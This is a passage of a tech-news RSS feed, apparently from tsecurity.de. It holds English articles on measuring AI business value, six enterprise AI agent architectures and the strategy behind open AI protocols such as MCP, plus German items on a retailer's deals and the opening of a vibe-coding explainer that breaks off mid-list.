<p class="wp-block-paragraph">This is why the future of enterprise measurement cannot simply involve adding AI metrics to existing financial scorecards. The challenge is far deeper. AI forces a reconsideration of what business performance actually means. Historically, enterprises were measured largely through static indicators of efficiency and output. Increasingly, however, competitive advantage may depend less on traditional efficiency and more on adaptive intelligence: the ability of an organization to learn faster, make better decisions, integrate human and machine capabilities effectively, manage technological complexity sustainably and convert computational power into durable economic outcomes.</p>



<p class="wp-block-paragraph">The most important future performance measures may therefore revolve around questions traditional accounting rarely addresses. How effectively does an enterprise convert technology investment into sustainable business capability? How economically efficient are its AI operations relative to the value they generate? How resilient is the organization to AI failure, cybersecurity disruption or infrastructure inflation? How successfully does it preserve and amplify human expertise rather than simply eliminate labor? How rapidly can it learn, adapt and operationalize new knowledge?</p>



<p class="wp-block-paragraph">These are not merely technology questions. They are questions of enterprise economics, organizational sustainability and long-term competitive viability.</p>



<p class="wp-block-paragraph">The companies that ultimately succeed in the AI era may not be those with the largest AI budgets, the greatest number of pilots or the most aggressive automation programs. They may instead be the firms that best understand the economics of technological capability itself: organizations capable of balancing innovation with resilience, automation with human augmentation and technological ambition with sustainable operational design.</p>



<p class="wp-block-paragraph">The coming decade is therefore likely to produce a widening divide between enterprises optimizing for AI-driven valuation narratives and enterprises optimizing for measurable, durable economic performance. In the short term, these may appear to be the same thing.</p>



<p class="wp-block-paragraph">Over time, however, the distinction will become increasingly visible. Some organizations will discover that AI has enhanced genuine enterprise capability. Others will discover that they merely optimized the appearance of transformation while silently accumulating new forms of economic and operational risk.</p>



<p class="wp-block-paragraph">Artificial intelligence is not simply changing business operations. It is exposing the inadequacy of many of the measures used to evaluate business success itself. The central challenge of the AI economy may ultimately become not whether organizations adopt AI, but whether they can distinguish between technological activity and actual economic value creation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 20. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3680837/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-20-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680837/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-20-juli/</guid>
<pubDate>Mon, 20 Jul 2026 12:23:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784541921"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784541921">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vibe Coding erklärt]]></title>
<description><![CDATA[Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.Fit Ztudio | shutterstock.com



Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwi...]]></description>
<link>https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Fit-Ztudio_shutterstock_2642655115_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Code Review Dev 16z9" class="wp-image-4086782" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.</figcaption></figure><p class="imageCredit">Fit Ztudio | shutterstock.com</p></div>



<p class="wp-block-paragraph">Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwicklung vom <a href="https://www.computerwoche.de/article/3854442/vibe-coding-im-selbstversuch.html" target="_blank">Vibe-Coding-Trend</a>: Frühe KI-Entwickler-Tools wie GitHub Copilot waren vornehmlich darauf ausgelegt, Devs zu unterstützen. Etwa, indem sie Funktionen und Syntax ergänzten oder Boilerplate-Code aus Kommentaren generierten. Kommt ein Vibe-Coding-Ansatz zum Zug, beginnen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">menschliche Entwickler</a> hingegen gar nicht erst damit, Code zu schreiben.</p>



<p class="wp-block-paragraph">Dieses Konzept führt nicht nur zu veränderten Workflows, sondern erfordert auch, ein neues Mindset. Schließlich wird die Programmierarbeit mit <a href="https://www.computerwoche.de/article/4052859/github-spark-im-vibe-coding-test.html" target="_blank">Vibe Coding</a> eher zu einer Art Live-Prototyping. In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>warum Vibe Coding Vibe Coding heißt,</li>



<li>inwieweit sich dieser Ansatz für Unternehmen eignet,</li>



<li>wie Vibe-Coding-Workflows konkret aussehen (können),</li>



<li>welche Tools in diesem Bereich zu empfehlen sind,</li>



<li>welche Risiken Sie dabei auf dem Schirm haben sollten, sowie</li>



<li>Tipps dazu, wie Sie Vibe Coding effektiv in der Praxis umsetzen.</li>
</ul>



<h2 class="wp-block-heading">Vibe Coding – Begriffsdefinition</h2>



<p class="wp-block-paragraph">Der Begriff Vibe Coding wurde Anfang 2025 vom OpenAI-Mitbegründer <a href="https://www.linkedin.com/in/andrej-karpathy-9a650716/" target="_blank" rel="noreferrer noopener">Andrej Karpathy</a> geprägt. Der KI-Experte trat den Trend mit einem Post auf dem Kurznachrichtendienst X los.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. Also I just talk to Composer with SuperWhisper…</p>— Andrej Karpathy (@karpathy) <a href="https://x.com/karpathy/status/1886192184808149383?ref_src=twsrc%5Etfw">February 2, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph">In diesem beschreibt Karpathy die Vibe-Coding-Methodik als eine neue Coding-Form, bei der man sich ganz den “Vibes” hingibt und vergisst, dass der Code überhaupt existiert. <a href="https://shadowdragon.io/author/amy-mshadowdragon-io/" target="_blank" rel="noreferrer noopener">Amy Mortlock</a>, Vice President of Marketing beim <a href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">OSINT</a>-Spezialisten ShadowDragon, erklärt das Konzept etwas weniger kryptisch: “Beim Vibe Coding beschreibt man in natürlicher Sprache, was man möchte, und die KI generiert dann die gesamte Anwendung und kümmert sich um alle technischen Details.”</p>



<p class="wp-block-paragraph">Vibe Coding setzt also darauf, die traditionelle Programmierarbeit durch dialogorientierte Anweisungen und <a href="https://www.computerwoche.de/article/4026379/ki-jobs-diese-skills-brauchen-entwickler.html" target="_blank">Kooperation mit einem KI-Assistenten</a> zu ersetzen. Statt detaillierte Spezifikationen zu entwerfen und diese an die Engineers weiterzugeben, können Produktmanager, Fachexperten – oder jeder andere, der eine Idee hat – in einfacher Sprache beschreiben, wie das Ergebnis aussehen soll. Die KI-Software erledigt dem Rest in Echtzeit. Allerdings geht es dabei weniger darum, die Softwareentwicklung durchgängig zu automatisieren.</p>



<p class="wp-block-paragraph">Vielmehr stehen Mindset-Veränderungen im Fokus: Warum sollte man nicht der KI die Mechanik überlassen und sich stattdessen auf die Ausrichtung, das Feedback, den Flow und die “Vibes” konzentrieren? Schließlich werden die Modelle, die Tools wie <a href="https://www.infoworld.com/article/4081431/cursor-2-0-adds-coding-model-ui-for-parallel-agents.html" target="_blank">Cursor</a> oder GitHub Copilot zugrunde liegen, immer performanter. Deswegen sehen auch viele Developer ihre Arbeit inzwischen vorwiegend als einen Dialog mit der KI – statt sich zeilenweise selbst durch Syntax zu wühlen.</p>



<p class="wp-block-paragraph">Und obwohl auch bei einem Vibe-Coding-Ansatz diverse <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Probleme und Herausforderungen</a> auf den Plan treten können (dazu später mehr): Die Technik gewinnt zunehmend an Popularität – auch im Unternehmensumfeld.</p>



<h2 class="wp-block-heading">Vibe Coding im Unternehmen</h2>



<p class="wp-block-paragraph">Wie das in der Praxis konkret aussieht, beschreibt <a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Softwareentwickler beim Observability-Spezialisten Chronosphere: “Viele unserer Entwickler nutzen Tools wie Cursor und <a href="https://www.computerwoche.de/article/4182911/claude-code-hat-ein-sicherheitsproblem.html" target="_blank">Claude Code</a>. Wir fördern deren Einsatz sogar über ein Nutzungs-Leaderboard. Dabei betrachten wir die Tools jedoch als Assistenten, nicht als Dev-Ersatz. Unser Code-Review-Prozess ist weiterhin Pflicht für jeden Produktionscode – und wir sehen eher davon ab, viele unserer oder gar externe Tools mit KI zu verbinden.”</p>



<p class="wp-block-paragraph">In der Perspektive von <a href="https://www.linkedin.com/in/achint-agarwal-a853241" target="_blank" rel="noreferrer noopener">Achint Agarwal</a>, Vice President of Product beim KI-Anbieter Pramata, hat Vibe Coding vor allem die Art und Weise verändert, wie Teams vom Konzept zum Prototyp gelangen: “Früher mussten UI/UX-Designer und Entwickler zusammenarbeiten, um eine Idee in etwas zu verwandeln, mit dem Kunden interagieren konnten. Dieser Prozess konnte leicht mehrere Wochen dauern und diverse Überarbeitungsrunden umfassen.”</p>



<p class="wp-block-paragraph">Heute, so Agarwal, könne ein Produktmanager oder Fachexperte einfach in <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlicher Sprache</a> formulieren, was er sich vorstellt, und die KI generiere funktionierenden Code in <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" target="_blank">Prototyp-Qualität</a>. “Bei dieser Veränderung geht es um mehr als nur Geschwindigkeit: Auch die Qualität der Ergebnisse ist besser, weil die Person, die den Anforderungen am nächsten steht, während des gesamten Prozesses die Kontrolle behält und es keine Reibungsverluste durch Übergaben gibt”, fügt der Manager hinzu.</p>



<p class="wp-block-paragraph">Auch Agarwal sieht in Vibe Coding kein Substitut für die traditionelle <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a>, sondern vor allem ein Explorations- und Validierungs-Tool: “Dev-Teams ist es damit möglich, in kurzer Zeit funktionierende Prototypen zu erstellen, diese mit Kunden zu testen und zu überprüfen, ob die Idee sinnvoll ist. Fällt diese Prüfung positiv aus, kann der Prototyp an die Engineers gehen, die ihn mit Blick auf Skalierbarkeit, Sicherheit und langfristige Integrationen weiter ausbauen.”</p>



<h2 class="wp-block-heading">Wie sieht ein Vibe-Coding-Workflow aus?</h2>



<p class="wp-block-paragraph">Es gibt keine allgemeingültige Blaupause für Vibe Coding. Entsprechend gehen auch die Ansichten darüber auseinander, wie ein typischer Vibe-Coding-Workflow aussieht. <a href="https://www.linkedin.com/in/kostaspardalis/" target="_blank" rel="noreferrer noopener">Kostas Pardalis</a>, Data Infrastructure Engineer beim KI-Lösungsanbieter Typedef, beschreibt diesen als agilen, vierstufigen Prozess:</p>



<ul class="wp-block-list">
<li>die <strong>Erkundungsphase</strong>, in der der “Vibe”, der Zweck und die Einschränkungen definiert werden.</li>



<li>die <strong>Gestaltungsphase</strong>, in der ein funktionierender Prototyp erstellt und verfeinert wird.</li>



<li>die <strong>Grounding-Phase</strong>, die genutzt wird, um Struktur und Datenintegrität hinzuzufügen.</li>



